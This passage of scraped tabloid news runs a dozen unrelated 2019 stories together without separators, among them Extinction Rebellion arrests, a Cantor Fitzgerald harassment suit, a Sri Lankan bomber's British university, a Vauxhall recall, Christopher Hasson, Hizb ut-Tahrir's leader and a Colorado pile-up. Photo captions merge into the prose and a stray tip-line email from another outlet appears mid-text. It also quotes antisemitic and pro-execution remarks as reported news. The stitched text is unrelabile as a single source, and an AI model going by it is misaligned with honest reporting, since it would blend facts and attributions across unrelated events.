demonstrating outside offices of bankers Goldman Sachs on Fleet Street. The group moved down the road and blockaded it at intervals, with about a dozen buses seen stuck on either side of the blockade. Police said 13 people were arrested on suspicion of aggravated trespassing in Fleet Street. Protesters later glued themselves to the front of the Treasury in Westminster. The nine protesters, two men and seven women, formed a chain of people preventing others from entering One Horse Guards Road. (From left) Extinction Rebellion's Alan Heath, 55, a research scientist, Jen Witts, 38, a support worker for vulnerable people, and Sian Vaughan 53, a retired headteacher, who glued themselves to the entrances of the London Stock Exchange today Police begin to remove Extinction Rebellion protesters who glued themselves to the entrances of the Stock Exchange today Police officers remove climate change activists from the road around the Bank of England in the City of London today (From left) Alan Heath, 55, Jen Witts, 38, Sian Vaughan 53, Debbie Rees, 57, Kef Shimidzu, 55, Lucy Galvin, 53, and Johnny Woon, 60, take part in a protest by glueing themselves to the entrances of the London Stock Exchange this morning Phil Kingston, 83, gives a thumbs up after a prayer vigil on top of a Docklands Light Railway train in Canary Wharf today British Transport Police said five of the environmental activists, who are members of Christian Climate Action, were arrested An XR spokeswoman said Thursday's targets were selected because 'the financial industry is responsible for funding climate and ecological destruction and we are calling on them, the companies and the institutions that allow this to happen, to tell the truth'. The spokeswoman added the sign 'business as usual = death' was a reference to 'the financial sector's role in our collective suicide'. Despite holding a 'closing ceremony', XR said the public should expect more action 'very soon'. Eco-protesters have urged ministers to declare a climate emergency to avoid what it calls a 'sixth mass extinction' of species on Earth. Some 1,130 people have been arrested during the protests which started on April 15, while more than 10,000 police officers have been deployed. The Metropolitan Police said 69 people have been charged, while BTP has charged three people. The action has seen Waterloo Bridge and Oxford Circus blocked, a 'die-in' at the Natural History Museum, and activists gluing themselves to objects. In a statement on Wednesday announcing the end of its action, XR said: 'We would like to thank Londoners for opening their hearts and demonstrating their willingness to act on that truth. 'We know we have disrupted your lives. We do not do this lightly. We only do this because this is an emergency.' A former saleswoman at a prestigious Wall Street firm claims that her coworkers defecated in her Bernie Sanders coffee mug as part of a torrent of office abuse that stretched back decades. The woman who worked for Cantor Fitzgerald, an American financial services firm that has been around since 1945, claims that her colleagues routinely sexually harassed her and played pranks at her expense. The harassment, including the Sanders mug complaint, are detailed in a lawsuit that could soon be made public thanks to a judge's ruling. A judge has ruled Cantor Fitzgerald cannot enforce an arbitration agreement involving Lee Stowell, 54, who worked at the firm's New Jersey offices, pictured The lawsuit from Lee Stowell, 54, was filed in April 2018 and accuses her boss, a coworker and the company of harassment, discrimination and retaliation. Apart from the cruel pranks, she also claims her boss stole clients from her, talked down to her and even kept a whiteboard where a tally was kept on coworkers who were allowed to deride her and who celebrated when she was not in the office. When Stowell complained about the colleague she suspected of defecating in her mug, her boss reportedly told her to 'be respectful' of the guy. Over a period of 25 years with the company, she had to endure various forms of abuse Stowell claims co-workers allegedly used her Bernie Sanders mug as a toilet, file photo Over the years, she claims she had to endure abuse that included having her butt grabbed in 2015, and then being asked by a colleague, 'would you rather he grabbed your boobs?' When Stowell complained about that incident, she was told by the company that she was part of the problem and 'ordered her to take a course on appropriate workplace behavior.' Shortly thereafter, she was dismissed as in a round of layoffs and decided to sue. The company had hoped to keep the allegations private and move her lawsuit to mandatory arbitration, which would force her to settle her alleged claims behind closed doors, without a judge or jury. Stowell finally sued in April 2018 but the company wanted to keep things private, but a judge has rejected that argument and the alleged abuses may well be heard in a courtroom Cantor claimed that Stowell even signed a digital agreement specifically stating that any grievances with the company would be settled through arbitration. But a New Jersey judge has taken a different view on the case, specifically the company's claim that 'employees have to be told loudly and clearly that theyre agreeing to give up their right to sue.' The judge felt that a lengthy terms & conditions of employment contract did not make it abundantly clear that arbitration was the only means of complaint and that the right-to-sue would be waived. It now means that the alleged episodes may well be examined in microscopic detail in a courtroom in the coming year or two. Stowell is overjoyed at the prospect of airing the company's dirty laundry. 'This is where every woman gets stopped,' she told Bloomberg. 'We're now on the starting block. I get to run.' The company denies Stowell's allegations and is appealing the judges ruling. The head of the British university where one of the Easter Sunday bombers studied predicted that one of his graduates might turn to terror and do something daft, it emerged yesterday. Julius Weinberg, vice-chancellor of Kingston University, was reacting in 2016 after the then prime minister, David Cameron, attacked it as a haven for Islamic fanatics. Mr Cameron accused the Surrey campus, which had hosted several controversial preachers, of giving extremists the oxygen they need to flourish. Wealthy brothers Inshaf and Ilham Ibrahim - sons of a millionaire spice trader - are two of nine jihadis who carried out the devastating bomb attacks in Sri Lanka. They are believed to be pictured here alongside National Thawheed Jamaath leader Moulvi Zahran Hashim, who is still at large Professor Weinberg cited the importance of free speech, vowing he would not stop offering a platform to so-called hate speakers. He also said the Prevent strategy, a Government scheme requiring college staff to monitor students for signs of radicalisation, was counter-productive, adding: With 50 per cent of students coming from a black and ethnic minority background, there is a chance that a Kingston graduate does something daft. If that happens, I know exactly what the Daily Mail will say. Five days ago, Abdul Lathief Jameel Mohamed, 36, who studied at the university from 2006 to 2007, blew himself up at the Tropical Inn in Colombo. Professor Weinberg, now chairman of the education watchdog Ofsted, became vice-chancellor of Kingston University in 2011. Kingston was under scrutiny for its tolerance of hate speakers following several years of hosting extremists. But Professor Weinberg argued it was his job to protect freedom of speech. Writing in The Guardian in 2016, he said: I want my students to be faced with a variety of opinions. It would be wrong to bar a speaker because the government of the day does not like their views. Abdul Lathief Jameel Mohammed (right), as boy. He has been named as the British educated suicide bomber in the Sri Lankan Terror attack Investigators are probing whether the seeds of Mohameds terror beliefs were sown during his student days in Britain. He enrolled on an aerospace engineering degree at the Asian Aviation Centre in Sri Lanka, in which students spend their third and final year at Kingston University. Aged 23, he arrived in the UK on January 1, 2006, and returned to Sri Lanka in September 2007. He also visited Britain in 2008. During Mohameds first year in Surrey, Shakeel Begg, an imam at Lewisham and Kent Islamic Centre, spoke at the university, telling students: You want to make jihad? Very good... go to Palestine and fight the terrorists, fight the Zionists. It is not known whether Mohamed heard him talk. Asif Mohammed Hanif, who studied at Kingston, blew himself up at Mikes Place, a waterfront bar in Tel Aviv, in 2003. The former home of Abdul Lathief Jameel Mohammed in Colombo, Sri Lanka. He tried target the Taj Hotel, Colombo, but after failing to detonate there instead found a small guesthouse Former student Mohammed Yasar Gulzar was suspected of flying to Britain from Pakistan to help control a plot to blow up passenger jets. Gulzar, from Birmingham, was a friend of Rashid Rauf, the fixer for the London 7/7 bombers in 2005. Kingston graduate Walla Abdel Rahman, from west London, joined the terror group al-Shabaab in Somalia in 2009. Ofsted said Professor Weinberg was on holiday and was not available to comment. Vauxhall is recalling hundreds of thousands of Zafira people carriers over fresh fears the vehicles could catch fire. The British carmaker has been forced into a third recall after at least one vehicle reportedly exploded due to overheating. Another 11 vehicles in the Zafira B range, built between 2005 and 2014 also showed signs of overheating. According to The Sun, as many of 235,000 of the Zafira B vehicles could be affected by the latest move. Firefighters extinguish a Vauxhall Zafira which caught light near a level crossing in Manor Road, south west London, in November 2015 Company boss Stephen Norman is said to have admitted 'huge regret' over the third recall in four years. A pin in the car's wiring is said to need replacement in the latest recall. A similar number of Zafira B vehicles were recalled in two stages in 2015 and 2016 after fears of a fire risk. Vauxhall, who were investigating 161 Zafira B fires, called back 234,000 models in two separate recalls due to rising safety concerns. The company wrote to 234,000 owners in December 2015 to ask them to arrange for their car's heating and ventilation system to be inspected by a local dealer. The initial recall came following reports of nearly 200 of the model bursting into flames. The British carmaker has been forced into a third recall of the Zafira B range (stock photo) after at least one vehicle reportedly exploded due to overheating Subsequently all Zafira B owners were offered a free safety inspection in light of the fires. A report by the Commons Transport Select Committee in April 2017 accused Vauxhall of showing a 'reckless disregard for safety' by not stopping motorists driving Zafira B vehicles it knew were a fire risk. The manufacturer was too slow to begin a full investigation, according to the cross-party committee. Vauxhall was also accused of acting prematurely in attributing the problem to improper repairs by third parties, according to the cross-party committee. Concerns that there was a distinctive pattern of fires were first raised within Vauxhall in 2014, but it did not begin an investigation until August 2015. Private schools save the taxpayer billions of pounds every year, their head teachers claimed yesterday. The schools not only provide a huge financial benefit to the Exchequer but also wider benefits to society, according to analysis from the Independent Schools Council. The report found that private school fees have doubled over the last 15 years, with the latest annual rise hitting more than 3 per cent. But heads said the savings from taking pupils out of the state education system as well as the added benefits of community facilities, jobs created and tax contributions added up to a 20billion boon for the taxpayer, The Times reported. Private schools such as this one in Dorset (Canford School) are said to be saving the taxpayer billions of pounds Warwick School (pictured above) is another private school in the UK which could be saving tax payers money This was made up of 3.5billion saved by freeing up state school places, 4.1billion in tax paid by the schools and their suppliers and a further 13.7billion in the value of the work supported by the schools across the economy. Private schools also supported 302,000 jobs, according to the analysis by Oxford Economics, more than the entire city of Liverpool. However, the boost to taxpayers may come as little comfort to parents struggling to pay soaring fees charged by private schools. Private school are said to support more jobs in the UK than the entire city of Liverpool (Castle Street in Liverpool pictured above) The Independent Schools Council census shows average boarding school fees are now 34,704 a year, while for day schools it is 14,142. In 2003, it was 16,476 to board, and 6,525 for day schools. Chairman of the Independent School's Council Barnaby Lenon (above) said much value is placed on independent schools The figures come amid concerns that middle-class parents are being squeezed out of the sector by soaring costs although the census did find that more schools are giving out means-tested bursaries to disadvantaged pupils. A total of 420million was dished out this year an annual increase of 6 per cent. It also showed that despite Brexit uncertainty, European families are still choosing UK private schools. Among the 26,370 non-British pupils whose parents live in the UK, 45 per cent came from European Economic Area countries up three percentage points from the previous year. While overseas pupils only make up around 5.4 per cent of all pupils, many groups have dramatically increased their numbers as British private schools remain popular among the wealthy global elite. For example, almost 8,000 pupils are now from mainland China up from around 3,000 in 2009. The schools are also expanding their public benefit activities 11,466 partnerships with state schools were recorded this year, compared with 10,553 last year. ISC chairman Barnaby Lenon said: While most independent schools are small schools serving their local community, some attract pupils of many different nationalities and these young people have a positive influence on our ability to understand other cultures as well as the countrys economy and our intellectual base. Mr Lenon added: It is perhaps surprising to see an increase in the number of EEA pupils at ISC schools given the uncertainty surrounding Brexit, but clearly much value is placed on the broad all-round education independent schools offer, their inclusive environments, and commitment to supporting the development of globally conscious young people. Looking elsewhere in this years census, it is hugely encouraging to see an increase once again in means-tested bursary provision for lower income families, which helps widen access to independent schools. A young emu is lucky to alive after it swallowed a large number of screws, nails and stones. The bird, named as Leggy by rescuers, was found wandering the streets of Eight Mile Plains, in Queensland, on Wednesday, April 24. Vets operated on the female emu who is now making a slow recovery. The RSPCA revealed that a local resident was keeping the emu as a pet, which is prohibited in Queensland. Screws, nails, stones and a tile were found in the belly of an emu who was kept as a pet Leggy the emu (pictured) was found in distress wandering the suburban streets of Eight Mile Plains, in Queensland, on Wednesday, April 24 RSPCA veterinarian Dr Meghan Burrows performed the 2.5 hour surgery on Leggy and said she was extremely lucky to survive. 'If this bird was left untreated it would have most certainly died a slow and painful death,' Dr Burrows said. 'Thankfully the surgery went well, however it is not out of the woods yet. 'The next seven days will be critical and we are all hoping for the best.' RSPCA veterinarian Dr Meghan Burrows (pictured right) performed the 2.5 hour surgery on Leggy and said she is extremely lucky to survive 'We have identified the person who was keeping this bird and we will continue to investigate the matter,' RSPCA Chief Inspector Daniel Young said RSPCA Chief Inspector Daniel Young said he is 'extremely disappointed' that the emu was kept as a pet on a suburban property. 'We have identified the person who was keeping this bird and we will continue to investigate the matter,' Mr Young said. 'We believe the bird was kept at the Brisbane property unlawfully.' The Queensland Government website said emus are 'prohibited and cannot be kept as a pet'. Inspectors are seeing more and more native animals kept in captivity in poor conditions in urban areas, according to the RSPCA. Inspectors are seeing more and more native animals kept in captivity in poor conditions in urban areas, according to the RSPCA President Donald Trump dismissed Joe Biden's vow to 'battle for the soul' of the nation on Thursday, saying that the country was more divided during the Obama administration. Trump's remarks came during a live phone interview with Fox News host Sean Hannity, hours after Biden formally announced he would seek the Democrat nomination for the 2020 election. 'When you look at Joe, I've known Joe over the years,' Trump told Hannity when asked about the Democratic field. 'He's not the brightest light bulb in the group I don't think, but he has a name that they know.' 'He's coming on with some little cute statements about me, about the way the world is today,' Trump continued. President Donald Trump has dismissed Joe Biden's vow to 'battle for the soul' of the nation, saying that the country was more divided during the Obama administration Trump's remarks came during a live phone interview with Fox News host Sean Hannity on Thursday night, hours after Biden formally announced his candidate Its an illustration of how political campaigns in America have changed that a few hours after launching his Presidential campaign online, Joe Biden is not at a huge launch party but sitting quietly on a train to New York with just a handful of aides pic.twitter.com/yMHFWsKoA3 Paul Danahar (@pdanahar) April 25, 2019 Biden unveiled his campaign on Thursday morning with a slick video in which he declared: 'We are in the battle for the soul of this nation.' 'Everything that has made America America is at stake,' Biden continued, casting Trump's presidency as akin to the rise of Nazism in 1930s Germany and promising to restore 'who we are'. Poll If the presidential election were held today who would you vote for? Biden Trump If the presidential election were held today who would you vote for? Biden 695 votes Trump 600 votes Now share your opinion Trump dismissed Biden's campaign theme, touting his own accomplishments in the realm of the economy and military funding. 'When Biden makes the statement talking about the 'soul' - I mean the soul, take a look at Obama,' Trump said. 'People forget there was tremendous division during Obama administration, tremendous division. We actually have great spirit right now,' Trump continued. Biden's campaign announcement, long expected, makes him the official front-runner for the 2020 Democratic presidential nomination, with most polls showing the 76-year-old leading Senator Bernie Sanders, 77. Biden faces a formidable field of 19 opponents, however, the largest field to ever seek the nomination for a major U.S. party. This poll of 1,992 registered voters was conducted between April 19 and 21 Trump wasted no time hitting back on Twitter Thursday morning, and gave Biden the moniker 'Sleepy Joe,' mocking him with nickname as he has done with other political rivals in the past. 'Welcome to the race Sleepy Joe. I only hope you have the intelligence, long in doubt, to wage a successful primary campaign. It will be nasty - you will be dealing with people who truly have some very sick & demented ideas. But if you make it, I will see you at the Starting Gate!,' Trump wrote. Biden struck hard and direct at Trump in his three-and-a-half minute announcement video. 'If we give Donald Trump eight years in the White House, he will forever and fundamentally alter the character of this nation. Who we are. And I cannot stand by and watch that happen,' he said. The former vice president cited the white supremacist march through Charlottesville, Va., in 2017, and President Trump's response to it as the reason behind his decision to make a third bid for the White House. 'I knew the threat to this nation was unlike any I had seen in my lifetime,' he noted. He particularly pointed to Trump's line that there are 'very fine people on both sides' - which in context referred to the debate over Confederate statues. Trump in his remarks at the time specifically said that neo-Nazis and white nationalists should be 'totally condemned'. Biden continued: 'Some very fine people on both sides, very fine people on both sides? With those words, the president of the United States assigned a moral equivalency between those spreading hate and those with the courage to stand against it. And in that moment I knew the threat to this nation was unlike any I had ever seen in my lifetime.' A gunman who shot down an innocent bystander during a battle with two brothers on a Sydney street has been jailed for at least 10-and-a-half years. Matthew Glenn Russell, 31, shot 46-year-old Qusay Jabbar Al Mhanawi in the head while the man was sitting in his car in the Sydney suburb of Heckenberg in 2016. The incident happened after Russell fired up to six shots at two brothers he was feuding with. Matthew Glenn Russell (pictured) has been jailed for a minimum of 10-and-a-half years after he killed an innocent bystander during a gun battle with two brothers Qusay Jabbar Al Mhanawi (pictured) was shot in the head while sitting in his car in the Sydney suburb of Heckenberg in 2016 One of the bullets entered above Mr Al Mhanawi's right ear, before he collapsed behind the wheel of his car with his foot on the accelerator, causing him to smash into the brothers. The gun fight took place on Mr Al Mhanawi's own street and his bloody death was witnessed by his father. Russell pleaded guilty in December to manslaughter on the basis of excessive self-defence for that incident. A jury also found him guilty of discharging a firearm with intent to cause grievous bodily harm on two other men Tyson Parker and Latu Vakuata that same night. Sentencing Russell to 14 years with a non-parole period of 10 and a half years, Acting Justice Peter Hidden said the crimes were aggravated by the gun battle taking place in a public street. The defence had accepted that the shot that killed Mr Al Mhanawi was intended to injure Mr Parker. Russell will be eligible for parole from September 2026. Graphic photos have emerged of a policeman's injuries after he was knocked unconscious when he was allegedly bashed over the head with his own metal torch. The Police Association of NSW has released photos of a bloodied Port Stephens-Hunter senior constable Kane Goodchild in hospital following the alleged assault in the state's Hunter region north of Sydney on Wednesday night. He was of one of two senior constables from the command to be allegedly assaulted within the space of 24 hours after a colleague was allegedly struck on the head with a glass bottle and punched several times on Thursday night. A Waratah man, 24, was remanded in custody on a string of charges in relation to Wednesday's alleged incident and was due to face court on Friday. He was arrested following an alleged police pursuit of a Toyota Soarer along Richardson Road at Campvale near Port Stephens. Port Stephens-Hunter senior constable Kane Goodchild had blood gushing down his face after he was allegedly struck on the head with a metal torch on Wednesday night The pursuit was terminated due to safety concerns before police spotted the same vehicle a short time later in nearby Finnan Park. A struggle ensured during the man's arrest, where he got hold of Senior Constable Goodchild's torch and allegedly struck the officer on the head, knocking him momentarily unconscious. Senior Constable Goodchild suffered severe cuts and was taken to hospital to receive stitches before he was discharged later on Wednesday night. The association is providing support to Senior Constable Goodchild. Senior Constable Goodchild (pictured) was taken to hospital to receive stitches for his severe lacerations and was discharged a few hours later 'This was a heinously violent attack on an officer who was simply going about his work keeping the community safe,' Police Association of NSW president Tony King said in a statement to Daily Mail Australia. 'Attacks on police seem to be occurring more often and becoming more violent. This week alone we've seen four serious assaults on police, and we saw an officer viciously stabbed in Central Sydney last week too.' The man was subdued with capsicum spray and was later charged with wounding a police officer reckless as to actual bodily harm, resisting police, being involved in a police pursuit, driving with a cancelled licence, driving recklessly, having suspected stolen goods and four counts of possession of a prohibited drug. Police Association of NSW northern region executive Ian Allwood described the alleged attack as 'unacceptable'. 'Police officers are human, they do not deserve to be assaulted at work - as is the case with anyone else,' he told the Newcastle Herald. The alleged assault was among a string of alleged violent assaults against police in the Hunter region this week. The police officer's alleged attacker (pictured) was later charged with a string of offences Three men were charged with assaulting police and resisting arrest at a Raymond Terrace pub on Thursday. A senior constable was allegedly struck to the head with a glass bottle and punched several times in the head. The trio were charged with offences including fail to quit licensed premises, affray, hinder police in execution of duty, and resist arrest and were bailed to appear at Raymond Terrace Local Court in June. One of the men, 19, was also charged with assault police, and use weapon to avoid apprehension. The senior constable received minor swelling around his head but wasn't taken to hospital. In a separate incident, a man, 32, will appear in court next month after he allegedly punched a female paramedic while being treated in Newcastle on Monday. Got a question or tip? Contact us at bizmojoidaho@gmail.com. Christopher Hasson will not be immediately released from custody, but authorities gave his attorney a few days to propose conditions such as home confinement A Coast Guard officer accused of being a domestic terrorist will be released from custody before his firearms and drug charges trial, authorities said on Thursday. Christopher Hasson will not be immediately released from custody, but authorities gave his attorney a few days to propose conditions such as home confinement, federal magistrates said. U.S. Magistrate Judge Charles Day noted when making his recommendation that the 50-year-old does not face terror charges. Hasson was arrested February 15 and is awaiting trial on firearms and drug charges. On February 21, Day ordered Hasson to be held without bond. At that time, however, the magistrate said he was willing to revisit his decision if prosecutors didn't bring more serious charges within two weeks. On Thursday, Day said he was inclined to order home confinement with electronic monitoring for Hasson and restrict his access to firearms and computers. Prosecutors claim he created a hit list of prominent Democrats, two Supreme Court justices, network TV journalists and social media company executives. Day said he still has 'grave concerns' about Hasson based on the information prosecutors presented. Hasson was arrested February 15 and is awaiting trial on firearms and drug charges The magistrate said Hasson is 'going to have to have a whole lot of supervision' before his release, a process that could take several days. Marcia Murphy, a spokeswoman for U.S. Attorney Robert Hur's office, said prosecutors would oppose any conditions of release for Hasson. Day didn't order Hasson to be immediately released. The magistrate gave Hasson's defense attorney, Liz Oyer, a few days to arrange conditions of release that would be acceptable to the court. Prosecutors have vowed to appeal if Day does order his release. Oyer said her client hadn't made any direct or specific threats to harm anyone. She said prosecutors are seeking to punish Hasson for 'private thoughts' that he never shared. Prosecutors have said Hasson appeared to be planning attacks inspired by the manifesto of Anders Behring Breivik, the Norwegian right-wing extremist who killed 77 people in a 2011 bomb-and-shooting rampage Prosecutors have said Hasson appeared to be planning attacks inspired by the manifesto of Anders Behring Breivik, the Norwegian right-wing extremist who killed 77 people in a 2011 bomb-and-shooting rampage. 'They have not come forward with evidence that Mr. Hasson is a domestic terrorist because he is not,' she told Day. But prosecutors have said Hasson is a self-described white nationalist who espoused extremist views for years and 'intends to murder innocent civilians on a scale rarely seen in this country.' In a February court filing, prosecutors said Hasson drafted an email in which he said he was 'dreaming of a way to kill almost every last person on the earth.' Assistant U.S. Attorney Thomas Windom said prosecutors had presented 'clear and convincing evidence' that Hasson poses a danger to the public. 'The dots were connected directly by the defendant with his own writings,' Windom said. Prosecutors have said Hasson appeared to be planning attacks inspired by the manifesto of Anders Behring Breivik, the Norwegian right-wing extremist who killed 77 people in a 2011 bomb-and-shooting rampage. Hasson was arrested February 15 and is awaiting trial on firearms and drug charges Prosecutors claim Hasson drew up what appeared to be a computer-spreadsheet hit list that included House Speaker Nancy Pelosi, Senate Democratic Leader Chuck Schumer and Democratic presidential hopefuls Sens. Kirsten Gillibrand, Elizabeth Warren, Cory Booker and Kamala Harris. Several network TV journalists - MSNBC's Chris Hayes and Joe Scarborough and CNN's Chris Cuomo and Van Jones - also were mentioned. Hasson also targeted two Supreme Court justices and two social media company executives, prosecutors said in a court filing Tuesday. The filing doesn't name them, but it says Hasson searched online for their home addresses in March 2018, within minutes before and after searching firearm sales websites. Investigators found 15 guns, including seven rifles, and more than 1,000 rounds of ammunition at Hasson's basement apartment in Silver Spring, Maryland, prosecutors said. 'He has these ready to go, ready for use,' Windom said. Hasson pleaded not guilty last month to charges of illegal possession of firearm silencers, possession of firearms by a drug addict and unlawful user, and possession of a controlled substance. He faces a maximum of 31 years in prison if convicted of all four counts in his indictment Oyer said Hasson has had a lifelong interest in firearms and likes to hunt and target practice. She said the number of guns he owned isn't unusual in North Carolina, where he lived for years before moving to Maryland. Hasson's Feb. 27 indictment also accuses him of illegal possession of tramadol, an opioid painkiller. Hasson pleaded not guilty last month to charges of illegal possession of firearm silencers, possession of firearms by a drug addict and unlawful user, and possession of a controlled substance. He faces a maximum of 31 years in prison if convicted of all four counts in his indictment. Hasson, a former Marine, worked at Coast Guard headquarters in Washington on a program to acquire advanced new cutters for the agency. A Coast Guard spokesman has said Hasson will remain on active duty until the case against him is resolved. The Australian leader of an Islamist political group campaigning for Sharia law and a caliphate has been freed from jail in Jordan, his followers have said. Ismail al-Wahwah, a former taxi driver from Condell Park in Sydney's south west, was detained at Amman Airport in July 2018 while travelling in the country with his wife. He had remained in Jordanian custody ever since. It is not known if he is now seeking to return to Australia. Daily Mail Australia understands he is a citizen so he should be able to return. Scroll down for video Ismail al-Wahwah, 'spiritual leader' of Islamist political party Hizb ut-Tahrir Australia has been freed from jail in Jordan, his supporters say. Jordan is one of at least 13 countries worldwide to have banned the group which calls for a global caliphate and the imposition of sharia law 'Praise be to Allah, Ismail Alwahwah (Abu Anas) released from the dungeons of the tyrants,' Hizb-ut Tahrir Australia told their Facebook followers on Thursday night. 'Ismail Alwahwah (Abu Anas) has been released from prison in Jordan today after serving a one year sentence for publishing remarks on his Facebook account critical of the Jordanian regime.' Ismail al-Wahwah, also known as Abu Anas, was born in the West Bank city of Hebron which is now jointly controlled by the Palestinian Authority and Israel. He came to Australia as a refugee in 1997. He is the spiritual leader of the Australian branch of Hizb ut-Tahrir, an Islamist political party active in more than 50 countries. Supporters of Ismail al-Wahwah rally in the southwestern Sydney suburb of Lakemba in September last year to protest against his imprisonment in Jordan where Hizb ut-Tahrir is banned. He was detained at the airport in Amman in July, 2018 Protesters rally to free Ismail al-Wahwah in Lakemba in September Who is Hizb ut-Tahrir * A global Islamist political party that wants Islam imposed as a political system * HT seeks to replace world governments with a caliphate and impose the rule of sharia law * It is active in more than 50 countries * Each country's chapter is headed by an emir who answers to Hizb ut-Tahrir's overall emir Ata Abu Rashta * HT is estimated to have more than a million members worldwide * The group is banned in at least 13 countries including Germany, Russia, Indonesia, Pakistan, Turkey and Jordan * HT has not been banned in Australia where its Facebook page has about 32,000 likes * The Counter Extremism Project reports Hizb ut-Tahrir does not advocate violence directly but acts as a conveyor belt for terrorists, indoctrinating young members who go on to join jihadist groups Famous terrorists who were once members of Hizb ut-Tahrir include: * Khalid Sheikh Mohammad - al-Qaeda's surviving 9/11 mastermind * Abu Musab al-Zarqawi, head of al-Qaeda in Iraq, killed in 2006 * ISIS fighter Mohammed Emwazi, a.k.a. Jihadi John, reportedly attended Hizb ut-Tahrir events while in university in England * Bangladeshi Islamist Farabi Shafiur Rahman, of Ansarullah Bangla Team, arrested for killing secular blogger Avijit Roy with a machete in 2015 Advertisement Hizb ut-Tahrir seeks to replace world governments with a global caliphate ruled by sharia law. The Islamist group's 'Draft Constitution of the Khilafa State', a blueprint for how its caliphate will govern if it wins power, says it will impose sharia on all its citizens, kill ex-Muslims, known as 'apostates', and introduce gender segregation. The group is banned in Jordan where Mr al-Wahwah was arrested, along with at least 12 other countries including the Muslim-majority nations of Indonesia, Bangladesh and Pakistan. Daily Mail Australia asked the Department of Home Affairs if it was aware that Mr al-Wahwah had been released, and if he were to be allowed back into Australia. He is a controversial figure who had previously been deported from Indonesia and travelled to Syria in 2013 in support of an Islamic caliphate. A video from March 2016, translated and shared by the Middle East Research Institute, showed him urging Muslims to restore the Islamic caliphate at a conference held in Turkey. He called on the attendees in Ankara to pledge 'before Allah to restore the caliphate, to raise the banner, to restore the Sharia, to unite the Islamic nation and to lead the armies of jihad that will conquer Europe and America so that the word of Allah will reign supreme'. Turkey only became a nation when the last caliphate, ruled by the Ottomans, was broken up after World War I. In 2014 Mr al-Wahwah delivered an anti-Semitic rant to a rally in the Sydney suburb of Lakemba that vilified Jewish people, calling them 'the most evil creatures of Allah'. 'Moral corruption is linked to the Jews,' Mr al-Wahwah said in a rant that was posted to the internet. 'They will pay with blood for blood, with tears for tears, and with destruction for destruction.' His comments resulted in an official New South Wales Anti-Discrimination Board complaint against Hizb ut-Tahrir Australia. The Islamist group's followers have also been caught up in repeated controversies. In 2017, spokesman Uthman Badar told a forum at Bankstown, in Sydney's south-west, that ex-Muslims, called 'apostates', should be killed. 'The ruling for apostates as such in Islam is clear, that apostates attract capital punishment and we don't shy away from that,' he said. The extraordinary admission was caught on camera by Daily Mail Australia and the matter was referred to the Australian Federal Police by Justice Minister Michael Keenan. In 2014, another Hizb ut-Tahrir spokesman, Wassim Doureihi, repeatedly refused to condemn Islamic State when interviewed by ABC journalist Emma Alberici on the Lateline program. Advertisement Rogel Lazaro Aguilera-Mederon, 23, from Texas was arrested Friday. He is being held in Jefferson County Jail and is scheduled to appear in court Saturday afternoon A man has been taken into custody and faces multiple counts of vehicular homicide charges after four people were killed in the 28-vehicle fiery crash on the Interstate 70 west of Denver, Colorado on Thursday. Police identified the driver of the semi that they believe caused the fatal crash as Rogel Lazaro Aguilera-Mederon, 23. He is said to be from Texas and was released from hospital with minor injuries after 'one of the worst accidents' the Lakewood area had ever seen. He is due in Jefferson County Court Saturday at 1pm for an advisement hearing. Authorities said that there were still bodies at the scene of the incident in burnt car shells and daylight would help the recovery. The crash occurred at 4.50pm but investigators were not able to get a closer look until around 10pm. It took five hours for West Metro Fire Rescue to extinguish the flames. They admitted the number of motors caught in the incident was much higher than they thought due to debris getting in the way of the investigation. A total of 24 cars and four semis were counted. 'That number (of involved vehicles) is significantly higher than what we had last night,' Ty Countryman, a spokesman for the police department in Lakewood, Colorado, said. 'A lot of that is because once the debris of the semis and cars under semis once we could get in and really start doing a car count, that's why that number really went up.' Part of the I-70 was still closed Friday morning after the Thursday fireball crash that involved 28 vehicles. The chief engineer with the Colorado Department of Transportation said immense heat and oil could burn the road away The crash involved four semis and six people were taken to hospital with injuries. Four people died in the pile-up Rogel Lazaro Aguilera-Mederon, 23, was taken into custody after he was released from hospital with minor injuries following the crash near Denver Aguilera was said to driving this white flatbed semi that is seen being towed away from the scene on Friday The West Metro Fire Department shared images of the aftermath of the incident that occurred on Thursday afternoon The crash occurred near a bridge overpass, which was damaged in the blaze and is now being looked at by engineers Investigators were not able to get a close look at the scene until around 10pm after flames were extinguished. Bodies were said to still be on the scene as rescuers could not get deeper into the debris until the flames were gone. They said daylight would help them in the recovery However the charges for the man in Jefferson County Jail were decided after assessing evidence and carrying out interviews overnight. There was no suggestion drink or drugs played a part in causing the crash. Countryman also said it didn't appear the 'devastating' crash was intentional. Investigators are looking at whether the truck lost its cargo, experienced brake failure or had some other mechanical issue that left the eighteen-wheeler unable to stop. 'It is true carnage there as far as the debris, what's left of cars and trucks, along with the cargoes that were in the semis,' Countryman said. The spokesperson said there was enough probable cause to go ahead with the charges. At least six were injured during the evening commute when a tractor-trailer careened into several other vehicles. 'The vehicle came down and ended up colliding with slower traffic, causing a very big chain-reaction crash that also ignited and started a fire,' Countryman said on Thursday. The fireball is estimated to have reached around 2,500-degrees Fahrenheit. Chief engineer with the Colorado Department of Transportation, Josh Laipply, said all of the heat and oil was able to burn the road away. Images show the burned asphalt take on a gravel-like appearance. One of the semi tricks can be seen next to several cars including a Jeep and another SUV that were involved One of the trucks was carrying lumber, which toppled onto the road fueling the fire Wooden beams and planks were seen strewn across the highway like matchsticks as the fire took hold Police said the number of motors caught in the incident was much higher than they thought 'I was hitting other cars. When I came to a stop, I look in my rear view mirror and all I saw was a bunch of flames,' witness Brian Dickey told KMGH about being involved in the accident. 'And I jumped out of the vehicle as fast as I could. There was so much fire at the time that I couldn't even really approach any of the other vehicles to see if there was any other survivors or what.' Traffic on I-70 where the crash occurred was already backed up because of an earlier accident involving a school bus, a semitrailer and a sedan. All of the children aboard the bus were reported to be okay with just minor injuries. Some people were taken to a hospital for further examination. In the moments before the second more devastating accident, a YouTuber inadvertently captured the speeding big rig zooming along the shoulder, flying past his own car which was stuck in slow-moving traffic caused by the first crash. A YouTuber was filming his journey when the speeding big rig blew past him at breakneck speed taking him by surprise The shock on Joshua McCutchen aka Burger Planet's face is clear, as he notes the speed of the big rig flying by The driver turned his camera around and within a few moments a thick black plume of smoke rose into the sky Bystanders at the side of the road watched in horror at the carnage as fire crews worked hard to put out the blaze The video, from Burger Planet, shows the speeding semi passing stopped vehicles at a colossal speed. The camera is then rotated around to show a large plume of thick black smoke rising from where I-70 goes under Denver West Colorado Mills Parkway. Joshua McCutchen told Good Morning America that a man who was standing by the road with a sign asking for money ended up saving the lives of four people by pulling them from the wreck. 'He's definitely a hero - he saved four people's lives,' the vlogger said. 'I've never seen that many cars and that much destruction and fire. It was just complete chaos.' The big rig had 